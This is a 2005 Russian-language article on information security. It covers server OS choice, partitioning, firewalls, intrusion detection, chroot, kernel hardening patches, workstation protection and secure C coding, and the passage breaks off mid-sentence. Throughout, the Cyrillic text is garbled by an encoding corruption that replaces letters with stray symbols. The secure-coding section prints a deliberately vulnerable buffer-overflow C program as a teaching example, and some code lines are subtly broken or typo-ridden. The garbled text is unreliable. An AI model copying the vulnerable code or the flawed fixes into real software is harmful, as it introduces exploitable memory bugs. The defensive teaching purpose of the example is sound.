16.08.2005

»нформационна€ безопасность - это не продукт, это процесс.

я постаралась осветить главные направлени€ и концепции обеспечени€ информационной безопасности практически всех составл€ющих компьютерной сети. ѕорой мы приходили к весьма неутешительным выводам. Ќо тем не менее »нтернет до сих пор существует, и огромное число пользователей работает с ним каждый день - так же, как и с компьютерами вообще.

 омиссарова ¬алери€ ( Kochergi@mail.ru )

ѕриведЄнна€ в заголовке знаменита€ фраза точно отражает суть дела. »нформационна€ безопасность - это не пакет, который можно скачать/купить и получить готовую к использованию систему безопасности, это длительный и сложный процесс, состо€щий из множества элементов, и малейша€ у€звимость в любом из них неизбежно приводит к существенному ослаблению всей системы. ѕоэтому к информационной безопасности, как и ко вс€кому другому меропри€тию, нужен комплексный подход. ¬ данной статье € расскажу об основных направлени€х и концепци€х процесса обеспечени€ информационной безопасности как дл€ предпри€ти€, так и дл€ пользовательской машины, дам советы по выбору операционной системы/софта, настройке сервера, приведу куски программного кода и проч.  роме того, мы рассмотрим принципы и инструменты создани€ защищЄнного кода, а в заключение поговорим о вещах, от нас, в большинстве своЄм р€довых специалистов по »Ѕ и программистов, не завис€щих, как - то: безопасность »нтернет - протоколов, безопасность программного обеспечени€ сторонних разработчиков, степень защищЄнности которых по мере сил необходимо повышать, и обсудим методы, помогающие это сделать.

¬сЄ это мы рассмотрим с разных точек зрени€: то с точки зрени€ системного администратора, то с позиции главы фирмы ( работодател€ ). “аким образом, стать€ €вл€етс€ своеобразной антологией наиболее ценных наработок в этой области, а также попыткой св€зать их в единое целое. ѕриступим.

 орпоративна€ сеть.

ѕроцесс обеспечени€ безопасности корпоративной сети существенно отличаетс€ от такового дл€ персональной рабочей станции. Ёто объ€сн€етс€ уже хот€ бы тем, что ценность еЄ данных как правило неизмеримо выше, чем на пользовательском компьютере. —оответственно и методы нужны другие.

ѕроцесс обеспечени€ »Ѕ должен проходить поэтапно. ¬о-первых, необходимо разделить процесс на две части, одна из которых обеспечиваетс€ системным администратором и его действи€ми, а друга€ находитс€ на стороне пользователей корпоративной сети. –ассматривать их нужно отдельно и ни в коем случае не смешивать.

ЌачнЄм со стороны системного администратора. «десь процесс обеспечени€ »Ѕ также делитс€ надвое: внешн€€ безопасность ( защищЄнность от атак извне ) и внутренн€€ ( локальна€ ). ќправданность такого подхода очевидна - достаточно вспомнить взлом хостинга ipowerweb.com. —наружи машина была защищена прекрасно ( хот€ у€звимый phpBB также должен был быть удалЄн с сервера ), взломщик не смог проникнуть на сервер обычными сетевыми методами, но он воспользовалс€ социальной инженерией и получил тестовый доступ. » что же ? ќказалось, что локальна€ настройка сервера была выполнена чрезвычайно безалаберно и не обеспечивала минимального уровн€ безопасности. »тог: взломщик нашЄл лазейку в системе и приобрЄл в ней наивысшие привилегии. ћожно также привести в пример технологию взлома Reverse IP Lookup, когда посредством взлома сайта, физически наход€щегос€ на том же сервере, что и цель взломщика, можно получить шелл - доступ и "ощупать" сервер изнутри. ѕон€тно, что грамотно настроенна€ локальна€ политика безопасности может существенно снизить степень риска дл€ сервера при такой атаке. ќсобенно заботитьс€ о противосто€нии технологии Reverse IP Lookup должны хостеры.

Ќе будем говорить о том, что "важно не то, какой сервер, важно то, кто им управл€ет". ¬сЄ - таки лучше не полагатьс€ целиком на человека, а обеспечить безопасность сервера более надЄжными методами. Ўаг за шагом пройдЄм этапы установки и поддержки безопасного сервера.

Ќе будем говорить о выборе аппаратной платформы. ƒопустим, что сервер построен на платформе x86.

¬ыбор ќ—. ћоЄ мнение таково: дл€ создани€ защищЄнного сервера *nix - системы подход€т куда больше, нежели Windows. ¬спомним об изначальном предназначении обоих типов систем: если *nix ( xBSD и т.д. ) - системы с момента своего создани€ примен€лись на таких стратегически важных площадках как разведывательные структуры, министерства обороны различных стран ( с помощью встраиваемых Linux - систем проводитс€ разминирование в јфганистане ) и проч. , то Windows проектировалась с расчЄтом на пользовательский сегмент рынка, поэтому еЄ установка на сервер представл€етс€ нецелесообразной.  роме того, если посмотреть историю взломов, окажетс€, что Windows уже долгое врем€ занимает в ней лидирующую позицию. ћожно сравнить степень опасности найденных у€звимостей в обоих типах систем ( вспомним RPC DCOM ); не стоит забывать и о том, что мы зависим от производителей системы, ведь при обнаружении очередной критической у€звимости приходитс€ ждать от них заплатки, а последует ли она - вопрос ( новый сервис MSA ( Microsoft Security Advisories ) ситуацию практически не мен€ет ), в то врем€ как в *nix - системах можно хот€ бы попытатьс€ решить проблему своими силами. ƒа и способ тестировани€ большинства *nix - систем по принципу "базара" ( за исключением таких относительно закрытых как, например, OpenBSD, в непосредственной разработке которой принимает участие ограниченное число людей ) по - прежнему сильно выигрывает в сравнении с "соборным" стилем написани€ кода Windows. ћожно приводить ещЄ массу доводов, но стать€ не об этом, так что выбор за ¬ами. я же предполагаю, что ¬ы остановились на *nix - системах. “еперь необходимо выбрать среди огромного количества *nix - клонов. ƒумаю, оптимальным вариантом будет люба€ ќ— из линейки xBSD, особенно OpenBSD. »з других систем - Sun Solaris и, конечно , великолепный QNX, который, полноценно поддержива€ стандарт POSIX, лучше всего подходит дл€ профессионального системного администратора. ≈сли же ¬ы хотите построить сервер на базе одной из разновидностей Linux`а, то, благодар€ своей похожей на порты FreeBSD системе обновлени€ программ из »нтернета ( команда emerge ), прекрасно подойдЄт Gentoo. ≈стественно, сказанное не €вл€етс€ аксиомой: профессионально настроенный Mandrakelinux будет безопаснее безграмотно настроенного OpenBSD. ”становка операционной системы. “ут можно дать советы по разбивке винчестера на разделы и по выбору и установке сервисов. ¬инчестер можно разбить так:

   /     -  корневой раздел системы
   /home -  каталоги пользователей
   /tmp  -  папка временных файлов системы
   /var  -  папки дл€ хранени€ логов и т.д.
   /usr  -  исходные коды системы, пользовательские программы и библиотеки
   

“ака€ разбивка даЄт возможность устанавливать флаги на конкретные разделы, например: noexec - запрет на исполнение файлов, nosuid - запрещение suid - битов на файлах и т.д. ƒл€ просмотра полного списка доступных флагов в ¬ашей системе нужно набрать команду man mount. “акже не стоит забывать об установке флагов на конкретные файлы ( man chflags, chattr, lsattr ).

Ћично € люблю выдел€ть каталог /boot в отдельный раздел, а ещЄ лучше - производить загрузку системы со сменного носител€. ѕосле запуска системы носитель с каталогом /boot можно спокойно извлечь, что частично защитит от подмены €дра.

“еперь об установке и запуске сервисов. –аспространЄнна€ ошибка - устанавливать большое количество ненужных на машине сервисов по принципу "на вс€кий случай" или же из - за элементарного незнани€ необходимых. Ќужно свести число установленных и запускаемых при загрузке сервисов к минимуму. ѕомните: запущенный сервис, который не используетс€, автоматически становитс€ ещЄ одной "открытой дверью" в систему. ј успевать своевременно патчить огромное количество редко/никогда не используемых сервисов - глупа€ и неблагодарна€ работа. ѕон€тно, что большинство системных администраторов средней руки будет благополучно забывать это делать, дава€ в руки взломщику дополнительное оружие.

—ледует подумать о выборе конкретных программ. Ќапример, настраива€ почтовый сервер, задаЄшьс€ вопросом: какой вариант предпочесть ? Sendmail, qmail, postfix... Ёто заслуживает отдельного разговора.

¬о-первых, хотелось бы отговорить от использовани€ суперсервера inetd/xinetd. Ётот суперсервер используетс€ ( использовалс€ ) в основном дл€ запуска сервисов, не "умеющих" работать в standalone - режиме. —тоит ли говорить, что сейчас абсолютное большинство нормальных сервисов спокойно может работать в режиме standalone, а те, что не могут, вр€д ли имеет смысл оставл€ть на серьЄзном ответственном сервере. ≈сли же необходимость в использовании суперсервера всЄ - таки есть, лучше использовать его более безопасные аналоги, например, tcpserver ( http://cr.yp.to/ucspi-tcp/ ) ƒэна Ѕернстайна. Ќедостатки inetd/xinetd очевидны: люба€ Dos ( DDos ) атака на суперсервер немедленно обернЄтс€ крахом всех поддерживаемых им серверных процессов. Ёто уже достаточное основание его не использовать. ѕ–»ћ≈„јЌ»≈: в русско€зычной литературе не закреплено различие между Dos ( Denial of service Ц атака на отказ в обслуживании ) и DDos ( Distributed Denial of service Ц распределЄнна€ атака на отказ в обслуживании ), поэтому во избежание путаницы € везде привожу оба варианта.

¬сегда нужно обращать внимание на историю взломов и список найденных у€звимостей за всЄ существование программы и уже на основании этих данных выбирать сервер ( если, конечно, у ¬ас нет каких - то конкретных предпочтений в этом вопросе или ¬ы не администрируете сервер, установленный до ¬ас ). ќдна из ¬аших самых главных забот - непрерывное слежение за всеми по€вл€ющимис€ в багтраке сообщени€ми о найденных у€звимост€х в используемых ¬ами сервисах. “ут осознаЄшь всю прелесть механизма обновлени€ Gentoo ( это касаетс€ и FreeBSD ): прописываешь в crontab команду emerge sendmail и всЄ ! MTA ( MailTransferAgent - почтовый агент ) Sendmail отныне будет обновл€тьс€ самосто€тельно, без вашей помощи. Ќо это, конечно, не означает, что теперь на Sendmail можно не обращать никакого внимани€. ¬сему нужен посто€нный контроль.

ѕосле базового конфигурировани€ сервера перейдЄм к защите от внешних атак. ¬ажный этап защиты - выбор, установка и конфигурирование брандмауэра. Ѕрандмауэры подраздел€ютс€ на программные и аппаратные. –ассмотрим их.

ƒл€ *nix ( xBSD ) - систем основные файерволлы - IPTables ( http://netfilter.org/files/ ), IPChains дл€ Linux ( http://www.rustcorp.com/linux/ipchains/ ), ipfw, IPFilter ( http://coombs.anu.edu.au/ipfilter ) дл€ FreeBSD и pf дл€ OpenBSD ( страница порта под FreeBSD - http://pf4freebsd.love2party.net/ ). IPChains, предшественник IPTables, предназначаетс€ дл€ €дер 2.2.x, а IPTables - дл€ 2.4.x и выше. ≈стественно, нет никакого резона работать со столь старыми и у€звимыми €драми как 2.2.x, поэтому IPTables - отличный вариант.  огда - то это был не лучший файерволл ( особенно в сравнении с pf ), но с выходом комплекта патчей Patch-o-Matic ( http://netfilter.org/files/ ) всЄ изменилось. “еперь IPTables умеет делать OSFingerPrint, искать подстроку в пакете, временно активизировать правила, оговаривать максимальное количество подключений к конкретному порту и проч. и проч. “ак что установка Patch-o-Matic €вл€етс€ даже не желательной, а об€зательной. Pf может всЄ то же, что и IPTables с установленным Patch-o-Matic и даже больше. —реди возможностей этих двух файерволлов можно также отметить компоновку портов и ip - адресов в одном правиле. Ќу и, разумеетс€, NAT ( не обсуждаетс€ ), которым возможности этих файерволлов не исчерпываютс€. Ipfw и IPFilter ничем особенным не отличаютс€.

ѕример аппаратного брандмауэра - маршрутизаторы CISCO ( в частности CISCO PIX - встроенный брандмауэр маршрутизатора CISCO ). √ибкий механизм конфигурировани€ через списки доступа ( access - lists ) и механизмы борьбы с перегрузками - это несомненные плюсы данных маршрутизаторов. ћинусы - внушительна€ истори€ у€звимостей ( причЄм довольно глупых ), найденных в этом проекте. Ќапример, переполнение буфера при обработке очень длинного URL - адреса HTML - интерфейсом маршрутизатора или у€звимость в telnetd - демоне ( при обработке D - опций ) и др. “ем не менее, при грамотной настройке использование CISCO PIX даЄт неплохие результаты. ћаршрутизаторы CISCO обладают уймой полезных дл€ корпоративной сети возможностей: туннелирование, policy routing ( алгоритмы маршрутизации ), NAT, стратегии очередей и многое другое, что не имеет пр€мого отношени€ к теме статьи.

¬ажный аспект - фильтраци€ почтового оборота компании. Ќеобходимо "прикрутить" к почтовой системе спам - фильтр и антивирус. »з спам - фильтров дл€ *nix - серверов можно выделить SpamAssassin ( http://spamassassin.apache.org ), дл€ Windows - серверов - Kaspersky AntiSpam ( web - страница всех продуктов лаборатории  асперского - http://www.kasperskylab.ru , приобрести их можно в интернет - магазине SoftKey ( http://www.softkey.ru ). »з антивирусов - Dr.Web и AVP дл€ *nix и Kaspersky Anti - Virus дл€ Windows - серверов ( также Kaspersky Anti - Virus Business Optimal ). ‘ильтраци€ писем при приЄме корреспонденции позвол€ет в большой степени снизить ущерб от неграмотных пользователей рабочих станций корпоративной сети. “аким образом, мы вплотную подошли к проблеме "ликвидации безграмотности". ќтвлечЄмс€ ненадолго от нашего повествовани€ и поговорим об этом.

„еловеческий фактор - наиболее у€звимое звено в системе обеспечени€ безопасности любой сети или персонального компьютера. ƒоверчивые пользователи, запускающие файлы "ClickMeNow.exe", открывающие и запускающие неизвестные им аттачи в письмах, реагирующие на все предложени€, содержащиес€ в спаме, - находка дл€ хакера. √рамотна€ разъ€снительна€ работа с пользовател€ми об€зательна. —обственные меры безопасности по отношению к пользовател€м - тем более. Ќеобходимо запрещать пользовател€м ставить слишком простые пароли, контролировать их сложность и длину, а также не забывать периодически их мен€ть, что справедливо и дл€ root`а ( то бишь дл€ јдминистратора ). ¬есь этот процесс можно облегчить и автоматизировать с помощью специальных утилит и их дополнительных возможностей, да и встроенные средства Windows/*nix при должной настройке сильно упрощают задачу.

—тарайтесь фильтровать нежелательные письма и вложени€ ещЄ до того, как они дойдут до пользовател€ ( разъ€снительные беседы не всегда помогают ). Ўифрование проход€щей по сети информации и корреспонденции уменьшит возможный ущерб от несанкционированной установки и запуска вирусов, тро€нских коней, снифферов и т.д. Ќеобходимо удел€ть настройке безопасности клиентских машин много внимани€: настроить антивирусы, файерволлы, своевременно обновл€ть важные программы и устанавливать на систему патчи. ¬ настройке помогают две вещи: Software Restriction Policy и шаблоны безопасности. Ўаблоны позвол€ют настроить какую - либо одну машину, создать файл, содержащий эти настройки, а затем примен€ть его на любом количестве машин. ј Software Restriction Policy подраздел€ет программы на те, которые можно и которые нельз€ запустить на машине.

Ќеобходим контроль за выходами сотрудников компании в »нтернет со своих рабочих станций. —отрудники фирм часто посещают сайты сомнительного содержани€.  оличество "пролезающих" с этих сайтов в систему тро€нов, вирусов и вредоносных скриптов, выполн€ющих произвольный код на компьютере посетител€ сайта, неисчислимо. ѕоэтому следует в об€зательном пор€дке фильтровать доступ к "развлекательным" ресурсам. Ќа рабочем месте сотрудники должны заниматьс€ делом, и не имеет смысла подвергать опасности бизнес компании из - за ложного демократизма.

—амое врем€ поговорить об IDS. IDS - это Intrusion Detection System ( система обнаружени€ атак ). IDS дел€тс€ на сетевые ( NIDS - Network Based IDS) и локальные ( HIDS - Host Based IDS ), активные и пассивные. —етевые контролируют несанкционированную сетевую активность, а локальные - соответственно локальную ( руткиты и т.д. ). јктивные IDS способны моментально отреагировать на попытку атаки сервера, например, сканирование, и не только занести событие в логи, но и заблокировать ip - адрес/подсеть атакующего. ѕассивные же могут только залогировать событие и отправить администратору сообщение на e - mail, мобильный и т.д. ѕоэтому пассивные IDS требуют куда больше внимани€, чем активные ( регул€рного просмотра логов как минимум ). ј теперь рассмотрим наилучшие и самые попул€рные IDS.

»з сетевых IDS лучша€, несомненно, Snort ( http://www.snort.org ). ќна отслеживает сканирование портов ( в том числе stealth ), посылку shell - кода на порт, Dos ( DDos ) атаки и т.д. Snort удобно конфигурируетс€. Ќо у этой IDS есть и минусы: во - первых, с момента создани€ в ней было обнаружено несколько у€звимостей, позвол€ющих заполучить удалЄнный контроль над системой. Ћоги взломщик может стереть ( впрочем, это относитс€ ко всем логирующим IDS ). Ќу и второе - Snort, к сожалению, пассивен. ј вот portsentry ( http://prdownloads.sourceforge.net/sentrytools ) - утилита, предназначенна€ дл€ детектировани€ сканировани€ портов, хороша€ и активна€. ќна логирует все попытки сканировани€ и противостоит им.   ней прилагаетс€ утилита logsentry дл€ преобразовани€ логов IDS в удобный дл€ чтени€ формат. Ќо portsentry бессилен против ручного сканировани€ портов, что справедливо дл€ большинства IDS.

ѕерейдЄм к локальным IDS. —реди утилит этого класса стоит выделить tripwire и chkrootkit. Tripwire ( http://www.tripwire.org ) - утилита дл€ осуществлени€ аудита доступа к системным файлам. ќбойти tripwire можно с помощью модификации действующих конфигов. ѕротиво€дие: переопределить пути tripwire в системе, переименовать запускной файл IDS, удалить файлы, описывающие действующие политики. Chkrootkit ( http://freshmeat.net/redir/chkrootkit ) - утилита обнаружени€ установленных в системе руткитов, бэкдоров и т.д. —пособ обхода - правка исходников. «ащита - посто€нна€ проверка контрольной суммы chkrootkit.

ѕереходим к обеспечению локальной безопасности сервера. јудит md5 - сумм хорош не только дл€ chkrootkit - такой способ контрол€ полезен дл€ любых стандартных утилит системы ( ps, ls, netstat...), которые часто модифицируютс€ взломщиком дл€ своих нужд ( дл€ сокрыти€ файлов, процессов, сетевых соединений и т.д. ). ѕрограммы вроде компил€тора, дизассемблера и проч. на работающей и отлаженной машине не нужны. ≈два ли их отсутствие сильно затруднит взломщику его работу ( так как скомпилированный эксплойт можно спокойно закачать на у€звимый сервер и запустить ), но всЄ же. —овет: не оставл€йте рутовых паролей в .bash_history ! Ёто одна из самых распространЄнных ошибок, которую нередко допускают даже грамотные системные администраторы. ≈сть простой и удобный способ решени€ проблемы - прилинковать .bash_history к /dev/null.  роме того, необходимо организовать немедленную пересылку логов на машину, предназначенную специально дл€ этого. Ќеплохо было бы установить дл€ этих целей подход€щую Ѕƒ ( базу данных ).

—ледующие два мощных механизма обеспечени€ локальной безопасности сервера - chroot и systrace.

ѕоддерево ( по отношению к основному, "насто€щему" дереву системы, начинающемус€ с корн€ ) chroot - это мини - копи€ корневой файловой системы, наход€ща€с€ в одном каталоге. √лавное отличие в том, что в этой мини - системе содержатс€ только те файлы, которые необходимы дл€ запуска и нормальной работы настраиваемого сервера. ќбычно все свежие версии любых серверов полноценно поддерживают chroot, и их настройка не создаст особых проблем. Ѕолее старые версии потребуют больше внимани€: дл€ того, чтобы заставить их работать в chroot, может потребоватьс€ дерево chroot размером чуть ли не с мини - дистрибутив системы.  оманда запуска сервера, поддерживающего chroot, в только что созданном поддереве в общем случае будет выгл€деть так:

chroot им€_нового_корневого_каталога [команда[аргументы]]

ѕреимущества chroot: программы, наход€щиес€ вне конкретного chroot, могут его измен€ть, а программы, наход€щиес€ внутри него - нет. “аким образом, взломщик, получив привилегии на сервере, работающем в chroot, может сколько угодно измен€ть наход€щиес€ там файлы - на реальной системе это никак не отразитс€. Ќапример, если скопировать в chroot системный файл /etc/passwd, взломщик, добавив нового пользовател€ в систему, не сможет применить эти изменени€ дл€ насто€щего /etc/passwd. “ак что это ещЄ один серьЄзный барьер на пути хакера.

Systrace - это механизм, определ€ющий дл€ каждой программы набор разрешЄнных ей системных вызовов. ќбласть его применени€ достаточно широка: можно, например, запретить какому - либо сервису открывать новые порты. ¬ этом случае предназначенный дл€ сервиса shell - код, открывающий через его процесс порт дл€ шелла, останетс€ не у дел. “ехническа€ реализаци€ механизма systrace довольно сложна и рассмотреть еЄ во всех подробност€х в данной статье не представл€етс€ возможным - это тема отдельного, обсто€тельного разговора. «а дальнейшей информацией советую обратитьс€ к http://www.citi.umich.edu/u/provos.

—уществует множество патчей к €дру, в той или иной мере позвол€ющих защититьс€ от хакерских атак, ориентированных на переполнение буфера, стека и т.д. Ќа первом месте патч grsecurity ( http://www.grsecurity.net/ ), защищающий от переполнений стека и пам€ти. ƒалее следует патч ( http://www.openwall.com/linux/ ), блокирующий всевозможные несанкционированные действи€, в частности переполнени€ стека. RSX - патч ( http://www.starzetz.com/software/rsx ) предотвращает запуск кода в стеке или куче после переполнени€, но работает, к сожалению, только на €драх 2.4.x. ¬ышеперечисленные патчи под *nix, пожалуй, наилучшие из доступных. ƒл€ Windows хороший вариант - знаменитый AntiCracker Shield ( http://www.softsphere.com/cgi-bin/redirect.pl?Name=ACSHIELD ) »льи –абиновича. Ёта гибка€ утилита обеспечивает несколько уровней защиты: low, medium, high и ultra. Ќа уровне low разрешено выполнение кода как в стеке, так и в куче, а на ultra - запрещено. ”ровни medium и high запрещают выполнение кода в стеке, а кучу контролируют.  роме того, AntiCracker Shield обеспечивает рандомизацию стека и кучи. » это далеко не полный список возможностей данного продукта ! “ак что его использование об€зательно. ƒоступны серверна€ и пользовательска€ версии ACSHIELD, а также русский файл справки к ней ( http://www.softsphere.com/files/acshield.chm ).

≈сли у ¬ашей фирмы есть свой веб - сайт, необходимо тщательно следить за информацией в багтраке обо всех у€звимост€х в установленных скриптах и самосто€тельно тестировать их, ведь сообщение об у€звимости в багтраке может и не по€витьс€, но это не повод снижать контроль за web - содержимым сайта. ¬ы можете не заметить ошибки на своей веб - странице ( или просто взломщик окажетс€ умнее ¬ас ), поэтому важные данные ( например, базы данных ) Ќ» ¬  ќ≈ћ случае Ќ≈Ћ№«я размещать на публичном web - сервере ( из - за SQL - Injection в частности ). ќни должны находитьс€ за демилитаризованной зоной ( DMZ ). “ем более что сейчас очень попул€рен Google - Hack ( взлом при помощи поисковых запросов Google ), и если ¬ы будете хранить важные документы на сервере, да ещЄ допустите ошибку в его настройке, это приведЄт к тому, что поисковый робот Google сможет их проиндексировать и предоставить взломщику ссылки на них. ƒумаю, не надо объ€сн€ть последстви€.  роме того, нужно отконфигурировать файл robots.txt, который определит, какие данные на сервере могут проиндексировать поисковые роботы. ’орошие результаты даЄт правильна€ настройка cPanel ( если такова€ на ¬ашем сервере имеетс€ ).

Ќе забывайте про смену баннеров сервисов. ƒл€ одних сервисов сделать это легко, достаточно подправить строчку в исходниках, дл€ других может потребоватьс€ серьЄзное вмешательство в код программы. “акое переписывание целых кусков кода - благодарное зан€тие, так как в идеале это должно воспреп€тствовать правильному определению версии и типа сервиса взломщиком.

≈сть ещЄ мелочи, которые могут привести к несанкционированному взлому ¬ашего сервера. ћогут найтись слабые места и в вышеперечисленных методиках. ћы не поговорили о настройке уровней безопасности €дра, настройке ответов на некоторые сетевые запросы ( что поможет в случае невозможности использовани€ IDS ), о средствах sysctl дл€ повышени€ безопасности сервера ( переменные sysctl имеют огромное число возможностей, включа€ реализацию защиты от DDos ( Dos ) атак, сканировани€ nmap`ом и т.д. ) и проч. ќт сканировани€ nmap`ом защит€т специальные механизмы в файерволле pf, использование специальных патчей ( например, IPPersonality под Linux, измен€ющий поведение сетевого стека и позвол€ющий замаскировать сервер под любое сетевое устройство ). “акже мы не рассмотрели такую интересную вещь как honeypot ( впрочем, она имеет косвенное отношение к теме статьи ), не поговорили о патчах дл€ Linux`а ( RSBAC, SELinux ), реализующих в системе Role Based Access Control ( RSBAC ), Domen Type Enforcement ( DTE ) и т.д. ќтдельна€ тема - мандатные модели доступа ( Mandatory Access Control ). Ќе стоит забывать и о CSS ( XSS ) атаках. Ќо один из главных принципов сохранности данных - бэкап. –езервное копирование всегда поможет избежать необратимой потери данных. ј ещЄ бывает так, что незначительный скачок напр€жени€ в сети наносит больший вред, чем все хакерские атаки вместе вз€тые. ¬ыход один - UPS.

“аким образом, процесс обеспечени€ информационной безопасности корпоративной сети можно считать завершЄнным. ∆елаю высоких uptime`ов и чистых от атак хакеров логов !

ѕерсональна€ и корпоративна€ пользовательские машины.

ѕроцессы обеспечени€ информационной безопасности дл€ рабочей станции корпоративного и обычного пользовател€ ѕ  во многом совпадают. ќбсудим несходства.

Ѕанальный совет: установите антивирус и файерволл. Kaspersky Internet Security Suite - комплексное решение, сокращающее врем€ настройки и предотвращающее возможные конфликты между программным обеспечением. “акже подход€т Kaspersky Anti Virus, Kaspersky Anti Hacker, Agnitum Outpost Firewall ( http://www.agnitum.ru ) и, пожалуй, Dr.Web ( http://www.drweb.ru ). —в€зка продуктов от  асперского блокирует вредоносные скрипты, модули, вирусы, хакерские атаки и др.   плюсам Agnitum Outpost Firewall относитс€, в частности, блокирование баннеров. ≈го дополнительную функциональность дл€ других продуктов можно реализовать с помощью стороннего ѕќ. Dr.Web - обыкновенный антивирус, главным достоинством которого €вл€етс€ сравнительно небольша€ загрузка ресурсов.   зарубежным файерволлам и антивирусам ( Norton Anti Virus, Panda Anti Virus, Kerio, Sygate Personal Firewall и т.д. ) после длительного опыта общени€ с ними € отношусь крайне неодобрительно. ѕо качеству и скорости работы они значительно уступают отечественным продуктам.

”становка антивируса и файерволла, к сожалению, не панаце€. Ќаписать вирус, не определ€емый никакими антивирусами сегодн€ не проблема. ќбход файерволлов легко реализуетс€ с помощью инжектировани€ кода в адресное пространство доверенного процесса. Ѕеспроигрышный вариант ( и таковым он, скорее всего, будет ещЄ долго ) - исполнение вредоносной программы в привилегированном режиме процессора ( режиме €дра, нулевом кольце ), что поможет, в частности, обойти сетевые фильтры файерволла, драйвер файловой системы, антивирус и проч. ѕоэтому обеспечивать безопасность компьютера нужно так, чтобы проникнувша€ на машину вредоносна€ программа имела минимальные "шансы на выживание" и не могла нанести значительный ущерб.

¬о - первых, следует отключить ненужные сервисы, как - то: "”далЄнный реестр", "Telnet" и все службы, предоставл€ющие возможность удалЄнного управлени€ системой. Ќа обычной рабочей станции они, как правило, не нужны. Ќи в коем случае не позвол€йте пользовател€м работать под аккаунтом администратора или root`а. Ёто относитс€ и к домашним пользовател€м - несколько неосторожных действий, и восстановить систему будет чрезвычайно трудно/невозможно. “ака€ мера предосторожности поможет защититьс€ от вредоносных программ: многие задачи вируса ( тро€нского кон€ и т.д. ) могут быть реализованы только при наличии повышенных привилегий в системе. ¬ирус, запущенный в непривилегированном режиме, существенно ограничен в своих возможност€х. ќчень полезно подменить cmd - интерпретатор команд ( точнее его название ) с последующим редактированием соответствующей переменной среды. ј своевременное обновление антивирусных баз и наложение патчей на систему - непреложное правило.

—ледует помнить, что угроза системе безопасности корпоративной сети исходит не только из внешней среды, но и от локальных пользователей сети. ѕоэтому необходимо определить, к каким ресурсам ( устройствам ) сети и рабочего компьютера пользователь может иметь доступ. Ќет смысла позвол€ть всем подр€д работать, например, с CD - приводами и/или флоппи - дисководами. „асто разрушительный вирус проникает в корпоративную сеть не в результате хакерской атаки, а с диска, с которого пользователь по незнанию или намеренно инсталлировал вредоносную ( заражЄнную ) программу. –еализовать политику разграничени€ доступа призваны стандартные средства Windows ( например, апплет настройки групповых политик gpedit.msc ) и отдельные программные продукты сторонних разработчиков.

Ѕольша€ проблема локальных сетей - сниффинг. ѕерехват информации в последнее врем€ одно из самых любимых "развлечений" пользователей локальных сетей. ћетод защиты - использование специальных программ дл€ детектировани€ активных снифферов и шифрование передаваемых по сети данных, что осуществл€етс€ посредством замены небезопасных версий сетевых протоколов на их более защищЄнные аналоги. Ќо так как в большинстве случаев такую замену произвести невозможно, разумно пользоватьс€ защитами, работающими на третьем уровне, например, IPSec. ≈щЄ один способ - определить, в каком сетевом режиме находитс€ пользователь; если в promiscuous, то это верный признак того, что пользователь в данный момент занимаетс€ сниффингом.

» последнее: защита от локальных хакеров. Ќекоторые пользователи не прочь сделать дефейс главной страницы web - сайта фирмы, в которой работают. ≈сть много способов защиты от этой напасти, например, отконфигурировать squid ( и любую другую программу, через которую проходит траффик локальной сети компании ) на блокирование пакетов с заданными shell - кодами и т.п. и при обнаружении оных выводить пользователю соответствующее сообщение.

Ќаписание защищЄнного кода как один из главных аспектов обеспечени€ информационной безопасности программных продуктов.

’акерские атаки в 90% случаев используют у€звимости в программном обеспечении. Ќаписать программное обеспечение без ошибок невозможно, но халатное отношение большинства разработчиков к безопасности своего кода очевидно. «ащищЄнный код должен быть приоритетом при разработке программного обеспечени€. Ќеобходимо, во - первых, знать основные принципы создани€ защищЄнного кода и уметь грамотно примен€ть их, а во - вторых, нелишне использовать специальные утилиты, патчи к компил€торам и т.д. дл€ облегчени€ задачи программиста. ќбсудим это.

—ледует различать безопасность кода, написанного на C и на Perl. ¬ так называемых web - €зыках ( Perl, Php, Asp ) программист должен главным образом заботитьс€ о параметрах, передаваемых скрипту. ¬ остальных €зыках ( C, Pasсal ) нужно в первую очередь решать проблемы, св€занные с переполнением буфера и тому подобными вещами. —делаем краткий обзор основных постулатов создани€ защищЄнного кода:

  1. ¬сегда провер€ть длину строки ( и всего остального ) перед копированием в буфер;
  2. ƒинамически задавать размер буфера в зависимости от пользовательского ввода;
  3. »спользовать более защищЄнные аналоги повседневных функций: fgets вместо gets, strncpy вместо strcpy, snprinf вместо sprintf и т.д.;
  4. ≈сли задать/проверить длину передаваемых данных по каким - либо причинам невозможно, нужно использовать защиту на основе canary word. ≈Є суть: при объ€влении буфера его размер определ€етс€ на четыре байте больше, чем нужно. ѕеред использованием буфера в эти четыре лишних байта записываетс€ случайно сгенерированное двойное слово ( canary word ), которое также копируетс€ в независимую глобальную переменную. ѕо завершении работы с буфером нужно лишь сравнить глобальную переменную с четырьм€ байтами хвоста буфера. ≈сли совпадают - всЄ нормально, если нет - буфер переполнен, и необходимо предпринимать соответствующие меры. ¬ качестве примера приведу пару несложных исходников:
#include <windows.h>
#include <stdio.h>
int overflow_check ( char *string )
{
char buf[10];
strcpy ( buf, string );
return 0;
}
int main()
{

char string[100];
printf ( "Enter string:" );
gets ( string );
overflow_check ( string );
puts ( "Welcome!" );
return 0;
}

ѕример хрестоматийный, но актуальности своей не потер€л, поскольку огромное число приложений до сих пор грешит такими ошибками. „то нужно, чтобы приложение могло защитить себ€ ? ¬сего ничего: заменить некоторые функции на их более безопасные аналоги, т.е. вместо strcpy ( buf, string );

нужно

strncpy ( buf, string, 9 );,

а вместо gets использовать fgets.

ћожно модифицировать этот пример, обрамив вызов strcpy if/else:


If ( strlen ( string ) < 10 )
{
strcpy ( buf, string );
}
else
{
MessageBox, return...
};
и таким образом проконтролировать длину передаваемых в буфер данных.

—уществует много разновидностей переполнений: переполнени€ массивов, структур; переполнени€ при работе с пам€тью ( а также неправильный доступ к ней, некорректное освобождение...), например:
while ( true )
{
malloc ( 1 );
};
арифметические переполнени€: DWORD summa ( DWORD a, DWODR b )
{
return a+b;
}
и др. ѕереполнить можно практически всЄ, каждый конкретный случай требует особого подхода, и программисты давно пытаютс€ облегчить труд себе и другим, создава€ патчи к €дру и компил€торам, отдельные утилиты; модифициру€ или реализу€ новые технологии защиты от переполнений ( например, неисполн€емый стек ) и проч. и проч. –ассмотрим самые интересные из них, обеспечивающие как защиту от переполнений, так и детектирующие ошибки при работе с пам€тью ( утечку и т.д. ).

ЌачнЄм с *nix - систем. ѕро патчи к €дру € уже говорила - они, скорее, дл€ системных администраторов, нежели дл€ программистов. ƒл€ вторых же есть следующие инструменты:

